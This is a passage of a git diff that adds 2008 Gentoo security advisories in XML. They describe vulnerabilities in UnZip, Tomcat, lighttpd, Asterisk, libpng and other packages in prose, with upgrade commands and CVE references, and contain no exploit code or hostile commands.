+    libraries, whereas NX is used by FreeNX and NX Node by the binary-only
+    NX servers.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple integer overflow and buffer overflow vulnerabilities have been
+    discovered in the X.Org X server as shipped by NX and NX Node
+    (vulnerabilities 1-4 in GLSA 200801-09).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit these vulnerabilities via unspecified
+    vectors, leading to the execution of arbitrary code with the privileges
+    of the user on the machine running the NX server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All NX Node users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/nxnode-3.1.0-r2&quot;</code>
+    <p>
+    All NX users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/nx-3.1.0-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200801-09.xml">GLSA 200801-09</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 21 Mar 2008 02:19:05 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 03 Apr 2008 22:57:19 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 03 Apr 2008 22:57:27 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200804-06.xml b/xml/htdocs/security/en/glsa/glsa-200804-06.xml
new file mode 100644
index 00000000..f34ab2a3
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200804-06.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200804-06">
+  <title>UnZip: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    A double free vulnerability discovered in UnZip might lead to the execution
+    of arbitrary code.
+  </synopsis>
+  <product type="ebuild">unzip</product>
+  <announced>April 06, 2008</announced>
+  <revised>April 06, 2008: 01</revised>
+  <bug>213761</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-arch/unzip" auto="yes" arch="*">
+      <unaffected range="ge">5.52-r2</unaffected>
+      <vulnerable range="lt">5.52-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Info-ZIP's UnZip is a tool to list and extract files inside PKZIP
+    compressed files.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy of the Google Security Team discovered that the NEEDBITS
+    macro in the inflate_dynamic() function in the file inflate.c can be
+    invoked using invalid buffers, which can lead to a double free.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Remote attackers could entice a user or automated system to open a
+    specially crafted ZIP file that might lead to the execution of
+    arbitrary code or a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All UnZip users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-arch/unzip-5.52-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0888">CVE-2008-0888</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 29 Mar 2008 19:46:56 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 03 Apr 2008 22:38:54 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 03 Apr 2008 22:39:11 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200804-07.xml b/xml/htdocs/security/en/glsa/glsa-200804-07.xml
new file mode 100644
index 00000000..5c3616d0
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200804-07.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200804-07">
+  <title>PECL APC: Buffer Overflow</title>
+  <synopsis>
+    A buffer overflow vulnerability in PECL APC might allow for the remote
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">pecl-apc</product>
+  <announced>April 09, 2008</announced>
+  <revised>April 09, 2008: 01</revised>
+  <bug>214576</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-php5/pecl-apc" auto="yes" arch="*">
+      <unaffected range="ge">3.0.16-r1</unaffected>
+      <vulnerable range="lt">3.0.16-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PECL Alternative PHP Cache (PECL APC) is a free, open, and robust
+    framework for caching and optimizing PHP intermediate code.
+    </p>
+  </background>
+  <description>
+    <p>
+    Daniel Papasian discovered a stack-based buffer overflow in the
+    apc_search_paths() function in the file apc.c when processing long
+    filenames.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could exploit this vulnerability to execute arbitrary
+    code in PHP applications that pass user-controlled input to the
+    include() function.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PECL APC users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-php5/pecl-apc-3.0.16-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1488">CVE-2008-1488</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 03 Apr 2008 14:46:37 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 03 Apr 2008 14:49:16 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 03 Apr 2008 23:31:29 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200804-08.xml b/xml/htdocs/security/en/glsa/glsa-200804-08.xml
new file mode 100644
index 00000000..32b3157b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200804-08.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200804-08">
+  <title>lighttpd: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in lighttpd may lead to information disclosure or
+    a Denial of Service.
+  </synopsis>
+  <product type="ebuild">lighttpd</product>
+  <announced>April 10, 2008</announced>
+  <revised>April 10, 2008: 01</revised>
+  <bug>212930</bug>
+  <bug>214892</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-servers/lighttpd" auto="yes" arch="*">
+      <unaffected range="ge">1.4.19-r2</unaffected>
+      <vulnerable range="lt">1.4.19-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    lighttpd is a lightweight high-performance web server.
+    </p>
+  </background>
+  <description>
+    <p>
+    Julien Cayzax discovered that an insecure default setting exists in
+    mod_userdir in lighttpd. When userdir.path is not set the default value
+    used is $HOME. It should be noted that the "nobody" user's $HOME is "/"
+    (CVE-2008-1270). An error also exists in the SSL connection code which
+    can be triggered when a user prematurely terminates his connection
+    (CVE-2008-1531).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit the first vulnerability to read
+    arbitrary files. The second vulnerability can be exploited by a remote
+    attacker to cause a Denial of Service by terminating a victim's SSL
+    connection.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    As a workaround for CVE-2008-1270 you can set userdir.path to a
+    sensible value, e.g. <i>"public_html"</i>.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All lighttpd users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-servers/lighttpd-1.4.19-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1270">CVE-2008-1270</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1531">CVE-2008-1531</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 29 Mar 2008 20:15:35 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 03 Apr 2008 22:44:24 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 06 Apr 2008 21:43:05 +0000">
+    mfleming
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200804-09.xml b/xml/htdocs/security/en/glsa/glsa-200804-09.xml
new file mode 100644
index 00000000..bb7534fc
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200804-09.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200804-09">
+  <title>am-utils: Insecure temporary file creation</title>
+  <synopsis>
+    am-utils creates temporary files insecurely allowing local users to
+    overwrite arbitrary files via a symlink attack.
+  </synopsis>
+  <product type="ebuild">am-utils</product>
+  <announced>April 10, 2008</announced>
+  <revised>April 10, 2008: 01</revised>
+  <bug>210158</bug>
+  <access>local</access>
+  <affected>
+    <package name="net-fs/am-utils" auto="yes" arch="*">
+      <unaffected range="ge">6.1.5</unaffected>
+      <vulnerable range="lt">6.1.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    am-utils is a collection of utilities for use with the Berkeley
+    Automounter.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy discovered that, when creating temporary files, the
+    'expn' utility does not check whether the file already exists.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could exploit the vulnerability via a symlink attack
+    to overwrite arbitrary files.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All am-utils users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-fs/am-utils-6.1.5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1078">CVE-2008-1078</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 08 Apr 2008 21:38:37 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 10 Apr 2008 09:22:28 +0000">
+    mfleming
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 10 Apr 2008 13:21:27 +0000">
+    vorlon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200804-10.xml b/xml/htdocs/security/en/glsa/glsa-200804-10.xml
new file mode 100644
index 00000000..d2d2bb19
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200804-10.xml
@@ -0,0 +1,110 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200804-10">
+  <title>Tomcat: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in Tomcat may lead to local file overwriting,
+    session hijacking or information disclosure.
+  </synopsis>
+  <product type="ebuild">tomcat</product>
+  <announced>April 10, 2008</announced>
+  <revised>May 28, 2009: 02</revised>
+  <bug>196066</bug>
+  <bug>203169</bug>
+  <access>local, remote</access>
+  <affected>
+    <package name="www-servers/tomcat" auto="yes" arch="*">
+      <unaffected range="rge">5.5.26</unaffected>
+      <unaffected range="ge">6.0.16</unaffected>
+      <unaffected range="rge">5.5.27</unaffected>
+      <vulnerable range="lt">6.0.16</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Tomcat is the Apache Jakarta Project's official implementation of Java
+    Servlets and Java Server Pages.
+    </p>
+  </background>
+  <description>
+    <p>
+    The following vulnerabilities were reported:
+    </p>
+    <ul>
+    <li>Delian Krustev discovered that the JULI logging component does not
+    properly enforce access restrictions, allowing web application to add
+    or overwrite files (CVE-2007-5342).</li>
+    <li>
+    When the native APR connector is used, Tomcat does not properly handle
+    an empty request to the SSL port, which allows remote attackers to
+    trigger handling of a duplicate copy of one of the recent requests
+    (CVE-2007-6286).</li>
+    <li>
+    If the processing or parameters is interrupted, i.e. by an exception,
+    then it is possible for the parameters to be processed as part of later
+    request (CVE-2008-0002).</li>
+    <li>
+    An absolute path traversal vulnerability exists due to the way that
+    WebDAV write requests are handled (CVE-2007-5461).</li>
+    <li>
+    Tomcat does not properly handle double quote (") characters or %5C
+    (encoded backslash) sequences in a cookie value, which might cause
+    sensitive information such as session IDs to be leaked to remote
+    attackers and enable session hijacking attacks
+    (CVE-2007-5333).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    These vulnerabilities can be exploited by:
+    </p>
+    <ul>
+    <li>
+    a malicious web application to add or overwrite files with the
+    permissions of the user running Tomcat.
+    </li>
+    <li>
+    a remote attacker to conduct session hijacking or disclose sensitive
+    data.
+    </li>
+    </ul>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Tomcat 5.5.x users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-servers/tomcat-5.5.26&quot;</code>
+    <p>
+    All Tomcat 6.0.x users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-servers/tomcat-6.0.16&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5333">CVE-2007-5333</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5342">CVE-2007-5342</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5461">CVE-2007-5461</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6286">CVE-2007-6286</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0002">CVE-2008-0002</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 21 Mar 2008 02:25:49 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 21 Mar 2008 18:05:04 +0000">
+    mfleming
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 04 Apr 2008 15:09:23 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200804-11.xml b/xml/htdocs/security/en/glsa/glsa-200804-11.xml
new file mode 100644
index 00000000..9d15689d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200804-11.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200804-11">
+  <title>policyd-weight: Insecure temporary file creation</title>
+  <synopsis>
+    policyd-weight uses temporary files in an insecure manner, allowing for a
+    symlink attack.
+  </synopsis>
+  <product type="ebuild">policyd-weight</product>
+  <announced>April 11, 2008</announced>
+  <revised>April 11, 2008: 01</revised>
+  <bug>214403</bug>
+  <access>local</access>
+  <affected>
+    <package name="mail-filter/policyd-weight" auto="yes" arch="*">
+      <unaffected range="ge">0.1.14.17</unaffected>
+      <vulnerable range="lt">0.1.14.17</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    policyd-weight is a Perl policy daemon for the Postfix MTA intended to
+    eliminate forged envelope senders and HELOs.
+    </p>
+  </background>
+  <description>
+    <p>
+    Chris Howells reported that policyd-weight creates and uses the
+    "/tmp/.policyd-weight/" directory in an insecure manner.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could exploit this vulnerability to delete arbitrary
+    files or change the ownership to the "polw" user via symlink attacks.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Set "<i>$LOCKPATH = '/var/run/policyd-weight/'</i>" manually in
+    "/etc/policyd-weight.conf".
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All policyd-weight users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-filter/policyd-weight-0.1.14.17&quot;</code>
+    <p>
+    This version changes the default path for sockets to
+    "/var/run/policyd-weight", which is only writable by a privileged user.
+    Users need to restart policyd-weight immediately after the upgrade due
+    to this change.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1569">CVE-2008-1569</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 29 Mar 2008 20:06:42 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 07 Apr 2008 07:47:13 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 07 Apr 2008 07:47:40 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200804-12.xml b/xml/htdocs/security/en/glsa/glsa-200804-12.xml
new file mode 100644
index 00000000..e886411e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200804-12.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200804-12">
+  <title>gnome-screensaver: Privilege escalation</title>
+  <synopsis>
+    gnome-screensaver allows local users to bypass authentication under certain
+    configurations.
+  </synopsis>
+  <product type="ebuild">gnome-screensaver</product>
+  <announced>April 11, 2008</announced>
+  <revised>April 11, 2008: 01</revised>
+  <bug>213940</bug>
+  <access>local</access>
+  <affected>
+    <package name="gnome-extra/gnome-screensaver" auto="yes" arch="*">
+      <unaffected range="ge">2.20.0-r3</unaffected>
+      <vulnerable range="lt">2.20.0-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    gnome-screensaver is a screensaver, designed to integrate with the
+    Gnome desktop, that can replace xscreensaver.
+    </p>
+  </background>
+  <description>
+    <p>
+    gnome-screensaver incorrectly handles the results of the getpwuid()
+    function in the file src/setuid.c when using directory servers (like
+    NIS) during a network outage, a similar issue to GLSA 200705-14.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local user can crash gnome-xscreensaver by preventing network
+    connectivity if the system uses a remote directory service for
+    credentials such as NIS or LDAP, which will unlock the screen.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All gnome-screensaver users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=gnome-extra/gnome-screensaver-2.20.0-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0887">CVE-2008-0887</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200705-14.xml">GLSA 200705-14</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed, 09 Apr 2008 17:28:36 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 10 Apr 2008 13:16:15 +0000">
+    vorlon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200804-13.xml b/xml/htdocs/security/en/glsa/glsa-200804-13.xml
new file mode 100644
index 00000000..13f86f04
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200804-13.xml
@@ -0,0 +1,83 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200804-13">
+  <title>Asterisk: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been found in Asterisk allowing for SQL
+    injection, session hijacking and unauthorized usage.
+  </synopsis>
+  <product type="ebuild">asterisk</product>
+  <announced>April 14, 2008</announced>
+  <revised>April 14, 2008: 01</revised>
+  <bug>200792</bug>
+  <bug>202733</bug>
+  <bug>213883</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/asterisk" auto="yes" arch="*">
+      <unaffected range="ge">1.2.27</unaffected>
+      <vulnerable range="lt">1.2.27</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Asterisk is an open source telephony engine and tool kit.
+    </p>
+  </background>
+  <description>
+    <p>
+    Asterisk upstream developers reported multiple vulnerabilities:
+    </p>
+    <ul>
+    <li>The Call Detail Record Postgres logging engine (cdr_pgsql)
+    does not correctly escape the ANI and DNIS arguments before using them
+    in SQL statements (CVE-2007-6170).</li>
+    <li>When using database-based
+    registrations ("realtime") and host-based authentication, Asterisk does
+    not check the IP address when the username is correct and there is no
+    password provided (CVE-2007-6430).</li>
+    <li>The SIP channel driver does
+    not correctly determine if authentication is required
+    (CVE-2008-1332).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    Remote authenticated attackers could send specially crafted data to
+    Asterisk to execute arbitrary SQL commands and compromise the
+    administrative database. Remote unauthenticated attackers could bypass
+    authentication using a valid username to hijack other user's sessions,
+    and establish sessions on the SIP channel without authentication.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Asterisk users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/asterisk-1.2.27&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6170">CVE-2007-6170</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6430">CVE-2007-6430</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1332">CVE-2008-1332</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 29 Mar 2008 20:11:29 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 03 Apr 2008 14:50:06 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 07 Apr 2008 07:59:17 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200804-14.xml b/xml/htdocs/security/en/glsa/glsa-200804-14.xml
new file mode 100644
index 00000000..6714025f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200804-14.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200804-14">
+  <title>Opera: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in Opera, allowing for
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">opera</product>
+  <announced>April 14, 2008</announced>
+  <revised>April 14, 2008: 01</revised>
+  <bug>216022</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/opera" auto="yes" arch="*">
+      <unaffected range="ge">9.27</unaffected>
+      <vulnerable range="lt">9.27</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Opera is a fast web browser that is available free of charge.
+    </p>
+  </background>
+  <description>
+    <p>
+    Michal Zalewski reported two vulnerabilities, memory corruption when
+    adding news feed sources from a website (CVE-2008-1761) as well as when
+    processing HTML CANVAS elements to use scaled images (CVE-2008-1762).
+    Additionally, an unspecified weakness related to keyboard handling of
+    password inputs has been reported (CVE-2008-1764).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to visit a specially crafted web
+    site or news feed and possibly execute arbitrary code with the
+    privileges of the user running Opera.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Opera users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/opera-9.27&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1761">CVE-2008-1761</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1762">CVE-2008-1762</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1764">CVE-2008-1764</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sun, 13 Apr 2008 00:02:37 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 13 Apr 2008 00:02:49 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200804-15.xml b/xml/htdocs/security/en/glsa/glsa-200804-15.xml
new file mode 100644
index 00000000..0fdf9808
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200804-15.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200804-15">
+  <title>libpng: Execution of arbitrary code</title>
+  <synopsis>
+    A vulnerability in libpng may allow for execution of arbitrary code in
+    certain applications that handle untrusted images.
+  </synopsis>
+  <product type="ebuild">libpng</product>
+  <announced>April 15, 2008</announced>
+  <revised>April 15, 2008: 01</revised>
+  <bug>217047</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/libpng" auto="yes" arch="*">
+      <unaffected range="ge">1.2.26-r1</unaffected>
+      <vulnerable range="lt">1.2.26-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libpng is a free ANSI C library used to process and manipulate PNG
+    images.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy of the Google Security Team discovered that libpng does
+    not handle zero-length unknown chunks in PNG files correctly, which
+    might lead to memory corruption in applications that call
+    png_set_read_user_chunk_fn() or png_set_keep_unknown_chunks().
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could entice a user or automated system to process a
+    specially crafted PNG image in an application using libpng and possibly
+    execute arbitrary code with the privileges of the user running the
+    application. Note that processing of unknown chunks is disabled by
+    default in most PNG applications, but some such as ImageMagick are
+    affected.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libpng users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/libpng-1.2.26-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1382">CVE-2008-1382</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 14 Apr 2008 01:44:56 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 14 Apr 2008 01:49:03 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 14 Apr 2008 08:39:38 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200804-16.xml b/xml/htdocs/security/en/glsa/glsa-200804-16.xml
new file mode 100644
index 00000000..a2910746
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200804-16.xml
@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200804-16">
+  <title>rsync: Execution of arbitrary code</title>
+  <synopsis>
+    A buffer overflow in rsync might lead to the remote execution of arbitrary
+    code when extended attributes are being used.
+  </synopsis>
